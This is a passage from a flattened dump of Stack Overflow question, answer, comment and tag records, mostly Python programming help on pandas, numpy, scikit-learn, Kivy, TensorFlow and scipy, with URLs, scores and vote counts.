accuracy: %.3f +/- %.3f' % (np.mean(scores), np.std(scores))) I was thinking in making predictions with the test set an call for some parameters using the model I train above but I am not sure if that is the proper way of testing on test_set: This is what I tried on the test set: y_pred = pipe_xgb.predict(X_test) from sklearn.metrics import classification_report target_names = ['class 0', 'class 1'] print(classification_report(y_test, y_pred, target_names=target_names)) from sklearn.metrics import matthews_cor…
answer count: 1
tagged with: scikit-learn
type: Question
has answer: http://stackoverflow.com/a/49587860
has title: How do I test a final classifier in test set?
type: UnansweredQuestion

http://stackoverflow.com/q/49449897
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/90042465
answer count: 0
downvote count: 0
tagged with: pandas
has title: Tips on saving distribution shape parameters to sqlite3
score: 1
upvote count: 1
tagged with: sqlite
has comment: http://stackoverflow.com/comment/90037984
has comment: http://stackoverflow.com/comment/85901837
favorite count: 0
type: Question
has body: I have been playing around with distributions in Python using scipy. I have some code which produces a dataframe containing fit parameters for my various data fits. Example is shown below fit = pd.DataFrame({'domain': ['T1','T1', 'T1'], 'type':['A1', 'A2', 'A3'], 'dist':['triang', 'triang', 'trapz'], 'shp':[(0.1, None), (0.1, None), (0.2, 0.8)], 'loc':[3, 100, 85], 'scale':[60, 50, 95]}) I have a range of these inputs using different distributions, so the shape parameters change and need to be kept in the right order. Therefore, when It is retrieved from the database, it will fit in with the distribution order.So for example, using the Triangle distribution: (c, d, loc, scale). I have tried to convert the tuple to a string (keeping the brackets) so it can be viewed in the database. For example, for the 3rd row. a = str(fit['shp'][2]) which produces '(0.2, 0.8)'. This can be saved to the Sqlite3 database. However, I am not to sure how to convert it back to a tuple? I did try, b = tuple(a) But this does not seem to produce the desired result, as shown below. ('(', '0', '.', '2', ',', ' ', '0', '.', '8', ')') What would you guys recommend about saving the shape tuple to a database? BJR

http://stackoverflow.com/q/49591635
has title: Python AttributeError object has no attribute when attribute defined in class
downvote count: 1
has answer: http://stackoverflow.com/a/49594874
favorite count: 0
has body: I am writing a utility platform at work using Kivy for my coworkers to use at the reception desk. I am having trouble assigning a user to the session. Here is my code: masterControl.py from kivy.uix.boxlayout import BoxLayout class MasterControl(BoxLayout): def __init__(self, **kwargs): super(MasterControl, self).__init__(**kwargs) m_currentUser = None def loginUser(self, emp): self.m_currentUser = emp print "I made it to login!" # remove login widget, add the rest of the UI according to the security level of the use login.py from kivy.uix.anchorlayout import AnchorLayout from kivy.uix.label import Label from kivy.uix.button import Button from kivy.uix.textinput import TextInput from kivy.uix.boxlayout import BoxLayout from coreAPI.mastercontrol import MasterControl from employee import Employee, getEmployees class LoginWidget(AnchorLayout): def __init__(self, **kwargs): super(LoginWidget, self).__init__(**kwargs) def loginBtnHandle(instance): empList = getEmployees() for emp in empList: if emp.m_aNum == uNameInput.text: if emp.authenticate(pWordInput.text): self.parent.loginUser(emp) # Here is where I get AttributeError: 'MasterControl' object has no attribute 'loginUser' box = BoxLayout(orientation = 'vertical', size = (300, 110), size_hint = (None, None), spacing = 10) uNameInput = TextInput(hint_text = 'Username', multiline = False, size = (300, 30), size_hint = (None, None), cursor_color = [0,0,0,1], write_tab = False) pWordInput = TextInput(hint_text = 'Password', multiline = False, size = (300, 30), size_hint = (None, None), cursor_color = [0,0,0,1], password = True, write_tab = False) loginBtn = Button(text = 'Login', size = (300, 50), size_hint = (None, None)) loginBtn.bind(on_press = loginBtnHandle) loginBtn.bind(on_enter = loginBtnHandle) box.add_widget(uNameInput) box.add_widget(pWordInput) box.add_widget(loginBtn) self.add_widget(box) employee.py from passlib.hash import pbkdf2_sha256 import pickle import os class Employee(): def __init__(self, name, aN…
tagged with: attributes
type: Question
tagged with: attributeerror
type: UnansweredQuestion
tagged with: python
score: -1
tagged with: kivy
upvote count: 0
has comment: http://stackoverflow.com/comment/86193721
has comment: http://stackoverflow.com/comment/86194270
answer count: 1

http://stackoverflow.com/q/49453332
answer count: 1
downvote count: 0
favorite count: 0
type: Question
has title: Tricky method for overriding a method in several sibling classes required
has body: Imagine a situation in which a large set of animal classes, which cannot be modified, all inherit from the same parent class "Animal", and each implements a method called "make_noise" each with a slightly different signature, but all with shared parameter volume: class Cat(Animal) def make_noise(volume, duration) -some code here- class Mouse(Animal) def make_noise(volume, pitch) -some different code here- A different "controller" class, which also cannot be modified, is instructing a list of these animal instances (a list which I have populated) to make sounds at particular volumes (and duration/pitch/etc as appropriate). However, I need to get between the controller and animal classes to modify the behaviour of "make_noise" in all animal classes, so that I can reduce the value of volume before the sound is made. One option would be to do something like: def animal_monkeypatcher(animal_class, volume_reduction_factor): class QuietAnimal(animal_class) def make_noise(volume, **kwargs) volume = volume * volume_reduction_factor super(QuietAnimal, self).make_noise(volume, **kwargs) However, I also need to pickle these objects, and that doesn't work with this approach. The next approach I thought about was a class which had an instance of the animal like so... class QuietAnimal(): def __init__(animal_class, init_kwargs): self.animal = animal_class(**init_kwargs) def make_noise(volume, **kwargs) volume = volume * volume_reduction_factor self.animal.make_noise(volume, **kwargs) def lots of other functions..... However, this is also not suitable because the controller sometimes needs to create new instances of animals. It does this by getting the class of an animal (which is QuietAnimal, instead of say Mouse) and then using the same set of init_kwargs to create it, which does not match the signature of QuietAnimal, so again we're stuck... At the moment I have a horrible hack, which basically forks the init depending on whether or not an animal_class has been passed in or not,…
has answer: http://stackoverflow.com/a/57629587
tagged with: overriding
tagged with: python
tagged with: inheritance
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/57629587
upvote count: 1
score: 1

http://stackoverflow.com/comment/85956396
score: 0
has text: @unutbu Not yet, no. I have an account on `github` but I don't use it much and tbh, this isn't like some massive project with a development team. Really, I'm just looking for a quick fix if there is one.
comment on: http://stackoverflow.com/q/49476888
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86012807
has text: There are clustering algorithms which can decide number of clusters for you (e.g. genetic clustering). But if you are a beginner, you can start with hierarchical clustering, which clusters data into nested clusters. Afterward, you can prune the clusters to keep only big meaningful ones.
score: 1
comment on: http://stackoverflow.com/q/49504271
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49589183
answers question: http://stackoverflow.com/q/49588797
has body: If I run this script: #!/usr/bin/env python3 # -*- coding: utf-8 -*- import os import subprocess procfiles = [] os.chdir("/home/dede/tmp/") for root, dirs, files in os.walk('.'): for file in files: if '.mp3' in file: filename = os.path.join(root, file) print(filename) procfiles.append(filename) print(procfiles) args=["ls", "-la"] args.extend(procfiles) process = subprocess.Popen(args, shell=False) output, error = process.communicate() I get this output: dede@i5:~&gt; python3 tst.py ./Leere Datei.mp3 ./Kopie ä von Leere Datei.mp3 ['./Leere Datei.mp3', './Kopie ä von Leere Datei.mp3'] -rw-r--r-- 1 dede users 6 31. Mär 16:50 ./Kopie ä von Leere Datei.mp3 -rw-r--r-- 1 dede users 6 31. Mär 16:50 ./Leere Datei.mp3 So the wrong part must be somewhere else in your code.... ...or your mp3's have their Umlaute in Windows-Encoding.
has comment: http://stackoverflow.com/comment/86209377
type: Answer
score: 0

http://stackoverflow.com/comment/85968255
type: Comment
comment on: http://stackoverflow.com/a/49479743
type: AnswerComment
score: 0
has text: I find it odd that if bounds are [-1, 1] and a correct parameter value is 1.1, the scipy version cannot give the correct value even if "polish=True" is used as the bounds are passed to curve_fit()! There is no option for disabling this, most curious. My pyeq3 version of DE does not impose bounds directly, although "brick wall" bounds can be used, my DE implementation does not impose bounds. The library's version is optimized for performance, as a major drag is the generation of random numbers - I create a very large list of random numbers once and use it as a curcular buffer. Works great.

http://stackoverflow.com/q/49566641
has answer: http://stackoverflow.com/a/49566685
accepted answer: http://stackoverflow.com/a/49566685
type: Question
tagged with: numpy
tagged with: python-3.x
has title: How to drop rows from numpy array based on values from another numpy array?
tagged with: python
type: AnsweredQuestion
score: 0
has body: I have a vector of labels as shown: labels2 = np.array([0,-1,1,2,-1]) And I would like to remove rows from X_train that correspond to rows in labels that have a value of -1. X_train = np.arange(1,16).reshape(5,3) The output should look like this. X_train_trimmed = np.array([[ 1 2 3] [ 7 8 9] [10 11 12]]) How should I go about this?
answer count: 1

http://stackoverflow.com/comment/85894420
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49446090
score: 0
has text: Thank you again for helping. I will try it. I will also study pyqt signals and slots.

artificial-intelligence
tags question: http://stackoverflow.com/q/49592980
tags question: http://stackoverflow.com/q/49468459
type: Tag
tags question: http://stackoverflow.com/q/49584365
tags question: http://stackoverflow.com/q/49447174
tags question: http://stackoverflow.com/q/49444598
tags question: http://stackoverflow.com/q/49504137
tag name: artificial-intelligence

http://stackoverflow.com/a/49485615
score: 0
answers question: http://stackoverflow.com/q/49485217
has body: You can run the code using command line as Vikas suggested. If you really want to run the code using Pycharm, go to Run-->Edit configurations in Pycharm. Then in the "Script parameters" option write your arguments in double quotes separated by space and write -s in the "Interpreter" option. Then save the configuration and simply run the code using Run-->Run option
type: Answer

http://stackoverflow.com/comment/86133120
has text: My initial reaction would be to strip the "-" from the source where you need to so that you can use the syntax you want. I don't know if bs4 has the option of indexing differently, but if so that would be option 2(similiar to pandas df['hs-cards'] as opposed to df.hs-cards)
type: Comment
comment on: http://stackoverflow.com/q/49562530
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86172800
comment on: http://stackoverflow.com/q/49582178
has text: It is runnable and breaks anytime I try to add a histogram. If you'd like me to add every failed picture of my attempts, I'd be glad to.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86086738
type: Comment
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49539578
has text: Also, the question clearly states that the OP is trying to understand the `map` function; don't fixate on the exact example they are using to do so.

http://stackoverflow.com/comment/137124189
score: 0
comment on: http://stackoverflow.com/a/57021376
type: Comment
type: AnswerComment
has text: The docs for `tee` have said, for a *very* long time (a similar warning exists at least as far back as 2.6, the oldest docs I could find off-hand, and it was only added in 2.4): "This itertool may require significant auxiliary storage (depending on how much temporary data needs to be stored). In general, if one iterator uses most or all of the data before another iterator starts, it is faster to use `list()` instead of `tee()`."

http://stackoverflow.com/comment/86020718
has text: OK thanks for your answer.
comment on: http://stackoverflow.com/q/49507801
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86142315
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49566325
has text: Can you maybe make a gist of the debug output? (obviously stripping anything sensitive out)

http://stackoverflow.com/a/49488495
score: 10
answers question: http://stackoverflow.com/q/49487952
has comment: http://stackoverflow.com/comment/85987060
type: AcceptedAnswer
downvote count: 0
has body: Since the difference between two kde curves is not a kde curve itself, you cannot use kdeplot to plot that difference. A kde is easily calculated using scipy.stats.gaussian_kde. The result is easily plotted with pyplot. import numpy as np; np.random.seed(0) import matplotlib.pyplot as plt import scipy.stats a = np.random.gumbel(80, 25, 1000) b = np.random.gumbel(90, 46, 4000) kdea = scipy.stats.gaussian_kde(a) kdeb = scipy.stats.gaussian_kde(b) grid = np.linspace(0,500, 501) plt.plot(grid, kdea(grid), label="kde A") plt.plot(grid, kdeb(grid), label="kde B") plt.plot(grid, kdea(grid)-kdeb(grid), label="difference") plt.legend() plt.show() Mind that the result is really just the difference between the curves (as being asked for); it has no statistical relevance at all.
has comment: http://stackoverflow.com/comment/85987211
has comment: http://stackoverflow.com/comment/106344186
type: Answer
accepted answer of: http://stackoverflow.com/q/49487952
upvote count: 10

http://stackoverflow.com/a/49557099
has comment: http://stackoverflow.com/comment/86153898
has body: I assume the idea is that calls to bar() should when given a starting seed always see the same sequence of random numbers; regardless of how many calls to foo()are inserted in-between. We can do this by creating a random seed from the random state that we use to re-seed when the temporary seeded state is done. This can be wrapped in a context manager: import numpy as np class temporary_seed: def __init__(self, seed): self.seed = seed self.backup = None def __enter__(self): self.backup = np.random.randint(2**32-1, dtype=np.uint32) np.random.seed(self.seed) def __exit__(self, *_): np.random.seed(self.backup) Let's try this with def bar(): print('bar:', np.random.randint(10)) def foo(): print('foo:', np.random.randint(10)) np.random.seed(999) bar() # bar: 0 with temporary_seed(42): foo() # foo: 6 foo() # foo: 3 bar() # bar: 9 So we get bar-sequence [0, 9] and foo-sequence [6, 3]. We try again without re-seeding globally: bar() # bar: 1 with temporary_seed(42): foo() # foo: 6 foo() # foo: 3 bar() # bar: 2 New bar-sequence [1, 2] and same foo-sequence again [6, 3]. Once again with same global seed, but a different seed for foo: np.random.seed(999) bar() # bar: 0 with temporary_seed(0): foo() # foo: 5 bar() # bar: 9 This time we get the first bar-sequence again [0, 9] and a different foo. Nice! So where is the catch? By entering and leaving the temorary seed part we change the random state. We do so deterministically and the results are repeatable, but if we get a different sequence if we don't call enter temorary_seed: np.random.seed(999) bar() # bar: 0 bar() # bar: 5 bar-sequence [0, 5] instead of [0, 9]. If you can live with that limitation this approach should work.
has comment: http://stackoverflow.com/comment/86152559
type: Answer
answers question: http://stackoverflow.com/q/49555991
score: 3
upvote count: 3
downvote count: 0

google-oauth
type: Tag
tags question: http://stackoverflow.com/q/49565028
tags question: http://stackoverflow.com/q/49466191
tag name: google-oauth

http://stackoverflow.com/q/49521491
has body: I am trying to add tensors to a python list inside a tensorflow control loop. My code: import tensorflow as tf graph = tf.Graph() with graph.as_default(): c = lambda i, limit: tf.less(i, limit) t = (1,5) x = [] def loop_forward(i, limit): x.append(1) return tf.tuple([i + 1, limit]) loop = tf.while_loop(c, loop_forward, loop_vars=t, back_prop=False, name="loop")[0] with tf.control_dependencies([loop]): b = tf.stack(x) with tf.Session(graph=graph) as sess: print(sess.run(b)) This produces [1] but not [1,1,1,1] as I would expect. Any idea why? Following David's answer, I tried to do this: import tensorflow as tf graph = tf.Graph() with graph.as_default(): c = lambda i, limit: tf.less(i, limit) t = (1,5) v = tf.convert_to_tensor([1]) with tf.control_dependencies([v]): def loop_forward(i, limit): v = tf.concat([v,tf.convert_to_tensor([1])], axis=0) return tf.tuple([i + 1, limit]) loop = tf.while_loop(c, loop_forward, loop_vars=t, back_prop=False, name="loop")[0] with tf.control_dependencies([loop]): b = v with tf.Session(graph=graph) as sess: print(sess.run(b)) That seems to produce this error: Traceback (most recent call last): File "test-looping-3.py", line 12, in &lt;module&gt; loop = tf.while_loop(c, loop_forward, loop_vars=t, back_prop=False, name="loop")[0] File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/ops/control_flow_ops.py", line 2934, in while_loop result = loop_context.BuildLoop(cond, body, loop_vars, shape_invariants) File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/ops/control_flow_ops.py", line 2720, in BuildLoop pred, body, original_loop_vars, loop_vars, shape_invariants) File "/usr/local/lib/python3.5/dist-packages/tensorflow/python/ops/control_flow_ops.py", line 2662, in _BuildLoop body_result = body(*packed_vars_for_body) File "test-looping-3.py", line 10, in loop_forward v = tf.concat([v,tf.convert_to_tensor([1])], axis=0) UnboundLocalError: local variable 'v' referenced before assignment But v is not a variable, it is a …
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/89525931
has title: Can I mutate a python list inside a tensorflow control loop
downvote count: 0
answer count: 1
upvote count: 1
tagged with: tensorflow
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49521683
score: 1
has answer: http://stackoverflow.com/a/49521683
tagged with: python
linked to: http://stackoverflow.com/q/49314186

http://stackoverflow.com/a/49551396
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86139049
accepted answer of: http://stackoverflow.com/q/49546343
type: Answer
answers question: http://stackoverflow.com/q/49546343
score: 1
upvote count: 1
has body: Here is the sample csv I used: Relative Time Markers 0 928 1 NaN 1 1312 2 NaN 2 1364 5 NaN 3 3092 2 NaN 4 3167 3 NaN 5 5072 2 NaN 6 5147 3 NaN 7 5908 2 NaN 8 5969 3 NaN 9 7955 3 1.0 10 9560 3 1.0 11 10313 2 NaN 12 10391 3 NaN 13 11354 2 NaN 14 12322 5 NaN 15 12377 5 1.0 And the code to work on: # get list of indices where markers are present marked = df[~pd.isnull(df.Markers)].index.tolist() print marked # create insert template row insert = pd.DataFrame({'Relative':[np.nan],'Time':['2'],'Markers':[np.nan]}) print insert # loop through marked indices and insert row for x in marked: df = pd.concat([df.loc[:x-1],insert,df.loc[x:]]) # finally reset the index and spit out new df df = df.reset_index(drop=True) df Gives the output: [9L, 10L, 15L] Markers Relative Time 0 NaN NaN 2 Markers Relative Time 0 NaN 928.0 1 1 NaN 1312.0 2 2 NaN 1364.0 5 3 NaN 3092.0 2 4 NaN 3167.0 3 5 NaN 5072.0 2 6 NaN 5147.0 3 7 NaN 5908.0 2 8 NaN 5969.0 3 9 NaN NaN 2 10 1.0 7955.0 3 11 NaN NaN 2 12 1.0 9560.0 3 13 NaN 10313.0 2 14 NaN 10391.0 3 15 NaN 11354.0 2 16 NaN 12322.0 5 17 NaN NaN 2 18 1.0 12377.0 5

http://stackoverflow.com/comment/86036246
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49515052
type: Comment
has text: I see. So you are sure of that but unsure of what is causing the problem. Then maybe the moderators would delete my post? Or shall I

http://stackoverflow.com/comment/86205934
type: QuestionComment
score: 0
has text: Right, so this means /resgister is protected with this access token. What you can do is specify a header `Authorization` and give the value as `Bearer your_access_token`. So, on Postman, first select No Auth(instead of inherit from Parent) and then in Headers: `Authorization: Bearer access_token` and `Content-Type: application/json`. Here you should enter the access token you received from /Login endpoint. I also believe that registering a user should be a POST request as opposed to GET(where you are requesting info from server).
comment on: http://stackoverflow.com/q/49597612
type: Comment

http://stackoverflow.com/comment/86209164
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49591454
type: QuestionComment
has text: Its a model form. I did try it (ie, the suggestion given in the first answer). It didn't make any difference. The image is being stored in the media/documents folder). On clicking the image link its even showing media/documents/image_name.jpg in the url section, but the image is not opening.

http://stackoverflow.com/q/49478024
tagged with: python
has title: scipy curve_fit and local minima: get to global minima as fast as possible
favorite count: 0
has body: my problem at hand: I am using scipy curve_fit to fit a curve (https://docs.scipy.org/doc/scipy/reference/generated/scipy.optimize.curve_fit.html) but in many occasions, the parameters estimated for such curve refer to one of the local many "local" minima and not "global" minimum. Now this is to be expected given how curve_fit was designed. Still, I really need my global minimum. In order to find it, my initial hunch would be to multiply initial starting points, run multiple curve_fit instances and choose the one with the lowest fit error but I would suffer from a number of biases in my personal initial guess estimates (also potentially the number of combinations could be considerable and this would be detrimental to performance). Do you happen to know better, faster and/or methodologically sounder methods on how to proceed? (they do not need to pass for least squares, I can build ad hoc stuff if necessary)
accepted answer: http://stackoverflow.com/a/49479743
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49479743
score: 3
upvote count: 3
tagged with: curve-fitting
tagged with: scipy
type: Question
tagged with: least-squares
downvote count: 0
answer count: 1

http://stackoverflow.com/comment/86076106
type: Comment
score: 0
has text: For reading 16 bit number from MODBUS, I used: Value1 = struct.unpack('>H', x[3:5])[0] and for reading 32 bit number is used Value1 = struct.unpack('>I', x[3:7])[0]
type: QuestionComment
comment on: http://stackoverflow.com/q/49504336

http://stackoverflow.com/a/49441946
answers question: http://stackoverflow.com/q/49441872
score: 3
has body: The first list comprehension creates a boolean array where True items correspond to the zero iris.target. The same can be accomplished using the native NumPy tools: binary_target = iris.target.astype(bool).astype(int) The second list comprehension is not necessary at all, because iris.data is already a NumPy array. So, iris_2d = np.array([[x[2], x[3]] for x in iris.data]) must be: iris_2d = iris.data[:,[2,3]] I am surprised that a "book about machine learning" offers such a silly advice.
upvote count: 3
has comment: http://stackoverflow.com/comment/85885790
downvote count: 0
type: Answer
has comment: http://stackoverflow.com/comment/85885805

http://stackoverflow.com/q/49459417
answer count: 0
has title: Searching lists using full text search with sqlite and python3
tagged with: sqlite
tagged with: full-text-search
has comment: http://stackoverflow.com/comment/85922381
type: Question
has body: I am using full text search to search through an sqlite database in python. The problem is that one of the columns in my database contains a string representation of a list. (ex: ['stuff', ' more stuff', 'more stuff] ). When I am performing full text search on that column and another column in my database, I need to convert the 'list' column into an actual list and then check the individual elements of the list with full text search. Is there a way to convert the string list into a list and then check the individual elements while performing the SELECT query? (I am using fts5, sqlite3, python3)
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85945025
tagged with: python
score: 0

http://stackoverflow.com/comment/85942965
type: QuestionComment
comment on: http://stackoverflow.com/q/49470142
has text: Have you already read [the official docs](https://docs.python.org/3/library/multiprocessing.html)?
score: 0
type: Comment

http://stackoverflow.com/q/49538374
upvote count: 2
downvote count: 0
answer count: 1
has body: I want to create a comparison matrix based on a dataframe df. Let's assume the below dataframe. df= pd.DataFrame({'row' : ['a','b','c','d'], 'col_A' : [1,2,3,4], 'col_B' : [1,2,3,4], 'col_C' : [1,2,3,4], 'col_D' : [1,2,3,4]});df df = df.set_index('row');df Dataframe looks like this: col_A col_B col_C col_D row a 1 1 1 1 b 2 2 2 2 c 3 3 3 3 d 4 4 4 4 I also have a mapping that looks like the below, where a and b is the same entity as well as c and d. mapping = pd.DataFrame({'row' : ['a','b','c','d'], 'Mapping' : ['b','a','d','c']}).set_index('row');mapping Therefore, I want to construct a new dataframe that has all possible combinations of the df index, but not duplicated. I have managed to create the indexes for the new comparison dataframe with pandas MultiIndex functionality (if you can think for a more pyhtonic way please feel free to post it as well). Creating the pandas Multi index (all possible combinations but not duplicated) arrays = [['a', 'a', 'a', 'b', 'b', 'c'], ['b', 'c', 'd', 'c', 'd', 'd']] index = pd.MultiIndex.from_tuples(tuples, names=['IndexA', 'IndexB']) Therefore, Question 1: how can I construct a comparison matrix that take the absolute difference of each pair from the pandas MultiIndex and the values from the initial df. Comparison DataFrame IndexA IndexB Col_A Col_B Col_C Col_D a b 1 1 1 1 a c 2 2 2 2 a d 3 3 3 3 b c 1 1 1 1 b d 1 1 1 1 c d 1 1 1 1 Question 2: How can I add a new column that look up the index pair and the mapping table to define which pair is a match? Comparison Matrix/DataFrame with a Match Column IndexA IndexB Col_A Col_B Col_C Col_D Match a b 1 1 1 1 1 a c 2 2 2 2 0 a d 3 3 3 3 0 b c 1 1 1 1 0 b d 1 1 1 1 0 c d 1 1 1 1 1
has answer: http://stackoverflow.com/a/49538763
has title: Create a MultiIndex Dataframe based on a Multindex and a dataframe (Comparison Matrix)
favorite count: 0
type: Question
type: AnsweredQuestion
tagged with: pandas
has comment: http://stackoverflow.com/comment/86084330
tagged with: dataframe
accepted answer: http://stackoverflow.com/a/49538763
tagged with: python
tagged with: comparison
tagged with: multi-index
score: 2
has comment: http://stackoverflow.com/comment/86084516

http://stackoverflow.com/q/49596548
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
has title: Using a variable as a dictionary key, is it possible?
has answer: http://stackoverflow.com/a/49596979
has answer: http://stackoverflow.com/a/49596879
has answer: http://stackoverflow.com/a/49596765
tagged with: python
answer count: 6
tagged with: dictionary
has comment: http://stackoverflow.com/comment/86200279
possible better answer: http://stackoverflow.com/a/49596579
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/49596572
has answer: http://stackoverflow.com/a/49596579
accepted answer: http://stackoverflow.com/a/49596815
has body: I have a dictionary with a corresponding value to each letter. I need to go through a string and calculate the sum of all letters' value. SCRABBLE_LETTER_VALUES = { 'a': 1, 'b': 3, 'c': 3, 'd': 2, 'e': 1, 'f': 4, 'g': 2, 'h': 4, 'i': 1, 'j': 8, 'k': 5, 'l': 1, 'm': 3, 'n': 1, 'o': 1, 'p': 3, 'q': 10, 'r': 1, 's': 1, 't': 1, 'u': 1, 'v': 4, 'w': 4, 'x': 8, 'y': 4, 'z': 10 } word = 'maths' for letter in word: score += SCRABBLE_LETTER_VALUES[letter] The output score should be a sum of whatever value corresponding with the letters in word. But I can't get Python understand I'm calling a key by a variable type string. What is your solution for this? Any help is appreciated!
has answer: http://stackoverflow.com/a/49596815

http://stackoverflow.com/comment/86156792
comment on: http://stackoverflow.com/q/49574600
type: Comment
type: QuestionComment
score: 0
has text: do you have existed migrations already ?

loops
tags question: http://stackoverflow.com/q/49568495
tags question: http://stackoverflow.com/q/49488089
tags question: http://stackoverflow.com/q/49503067
tags question: http://stackoverflow.com/q/49471142
tags question: http://stackoverflow.com/q/49535754
tags question: http://stackoverflow.com/q/49482824
tags question: http://stackoverflow.com/q/49510315
tags question: http://stackoverflow.com/q/49514704
tags question: http://stackoverflow.com/q/49540126
tags question: http://stackoverflow.com/q/49441986
tag name: loops
tags question: http://stackoverflow.com/q/49587431
tags question: http://stackoverflow.com/q/49559591
tags question: http://stackoverflow.com/q/49460955
tags question: http://stackoverflow.com/q/49486592
tags question: http://stackoverflow.com/q/49453341
tags question: http://stackoverflow.com/q/49496014
tags question: http://stackoverflow.com/q/49525493
tags question: http://stackoverflow.com/q/49587587
tags question: http://stackoverflow.com/q/49519912
tags question: http://stackoverflow.com/q/49468732
tags question: http://stackoverflow.com/q/49580800
tags question: http://stackoverflow.com/q/49530605
tags question: http://stackoverflow.com/q/49478454
tags question: http://stackoverflow.com/q/49463439
tags question: http://stackoverflow.com/q/49593972
tags question: http://stackoverflow.com/q/49440476
tags question: http://stackoverflow.com/q/49594435
tags question: http://stackoverflow.com/q/49545472
tags question: http://stackoverflow.com/q/49459155
type: Tag
tags question: http://stackoverflow.com/q/49521383
tags question: http://stackoverflow.com/q/49592155
tags question: http://stackoverflow.com/q/49565327
tags question: http://stackoverflow.com/q/49482829
tags question: http://stackoverflow.com/q/49499205
tags question: http://stackoverflow.com/q/49466947
tags question: http://stackoverflow.com/q/49596373
tags question: http://stackoverflow.com/q/49532489
tags question: http://stackoverflow.com/q/49467050
tags question: http://stackoverflow.com/q/49584180
tags question: http://stackoverflow.com/q/49553435
tags question: http://stackoverflow.com/q/49451300
tags question: http://stackoverflow.com/q/49592777

http://stackoverflow.com/q/49515119
type: Question
type: AnsweredQuestion
has title: Creating Pandas Pivot Table or Transpose in Python without Aggregate Function
tagged with: pandas
score: 1
tagged with: python
has answer: http://stackoverflow.com/a/49515155
accepted answer: http://stackoverflow.com/a/49515155
downvote count: 0
tagged with: pivot
upvote count: 1
answer count: 1
has body: I'm trying to crosstabulate a dataset to analyse sequences like web browsing behaviour: df = pd.DataFrame({'CustId' : [111,111,222,333,333,333], 'Page': ['A','B','A','A','B','C'] }) For each CustId, i would like to end up with a cross tab of CustID vs Page: The Dataset is already ordered as i'm interested in analysing the sequence. In fact the next step will be to perform counts of combinations i.e. how many CustIds follow path A|B, how many A|, how many A|B|C I've had a go at doing this and the closest i could get to was: df2=pd.pivot_table(df,index=['CustId'],values=['Page'],aggfunc='first') But this obviously returns only the first value. Just to mention my dataset is huge (40 Million records..). Thanks in advance if you can help me it's much appreciated.
favorite count: 0

http://stackoverflow.com/q/49521971
answer count: 1
has comment: http://stackoverflow.com/comment/86050183
has title: Colour of label isn't changing
type: Question
has comment: http://stackoverflow.com/comment/86050365
accepted answer: http://stackoverflow.com/a/49522293
has comment: http://stackoverflow.com/comment/86050390
has comment: http://stackoverflow.com/comment/86050154
has answer: http://stackoverflow.com/a/49522293
tagged with: python
tagged with: kivy
type: AnsweredQuestion
score: 0
has body: I'm following this book http://shop.oreilly.com/product/0636920032595.do and I can't seem to be able change colour of a label. This is the code: from kivy.lang import Builder from kivy.app import App root_widget = Builder.load_string(''' &lt;WeatherApp&gt;: BoxLayout: Label: text: 'hey !' color: 1, 1, 1, 1 Label: text: 'mark !' color: 1, 1, 1, 1 Label: text: 'what is up ?' color: 1, 1, 1, 1 ''') class WeatherApp(App): pass if __name__ == '__main__': WeatherApp().run() Any suggestions on what am I doing wrong ?
has comment: http://stackoverflow.com/comment/86050338

http://stackoverflow.com/comment/86169243
comment on: http://stackoverflow.com/q/49579673
has text: Try adding `rewrite_log on;` to your nginx logs to get detailed rewrite logs and first if any rewrite is going wrong
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49534490
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49535681
has title: Use sample weight in multi-label classification
upvote count: 2
tagged with: classification
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/86077313
tagged with: scikit-learn
tagged with: python
has body: When I'm working on a classification problem in scikit-learn using a linear SVM, I can apply custom weights to each training sample like so: from sklearn.linear_model import SGDClassifier X = [[0.0, 0.0], [1.0, 1.0]] y = [0, 1] sample_weight = [1.0, 0.5] clf = SGDClassifier(loss="hinge") clf.fit(X, y, sample_weight=sample_weight) Now when I have a multi-label classification task, I need to transform the labels and the SGDClassifier has to be wrapped in a meta-estimator like the OneVsRestClassifier: from sklearn.preprocessing import MultiLabelBinarizer from sklearn.multiclass import OneVsRestClassifier from sklearn.linear_model import SGDClassifier X = [[0.0, 0.0], [1.0, 1.0], [1.0, 0.0]] y = [[0], [1], [0, 1]] y_mlb = MultiLabelBinarizer().fit_transform(y) sample_weight = [1.0, 0.5, 0.8] clf = OneVsRestClassifier(SGDClassifier(loss="hinge")) clf.fit(X, y_mlb) # unable to pass `sample_weight` However, the OneVsRestClassifier does not allow me to pass any parameters to the fit method besides X and y, therefore I am unable to apply the sample weights, like I did before. How can I apply my own sample weights in this scenario?
has comment: http://stackoverflow.com/comment/86077076
score: 2
answer count: 1

http://stackoverflow.com/comment/86050998
type: QuestionComment
has text: Yes, because I want to make a list of degree that based on maximum max temp, I want to list the state that have equal or below temperature from D degrees
comment on: http://stackoverflow.com/q/49522417
score: 0
type: Comment

http://stackoverflow.com/q/49523293
score: 0
answer count: 2
tagged with: for-loop
has answer: http://stackoverflow.com/a/49523336
has comment: http://stackoverflow.com/comment/86052493
has title: Nested If Loop in For loop does not work (Python)
type: Question
has comment: http://stackoverflow.com/comment/86052727
tagged with: if-statement
possible better answer: http://stackoverflow.com/a/49523336
has comment: http://stackoverflow.com/comment/86052562
has answer: http://stackoverflow.com/a/49523384
accepted answer: http://stackoverflow.com/a/49523384
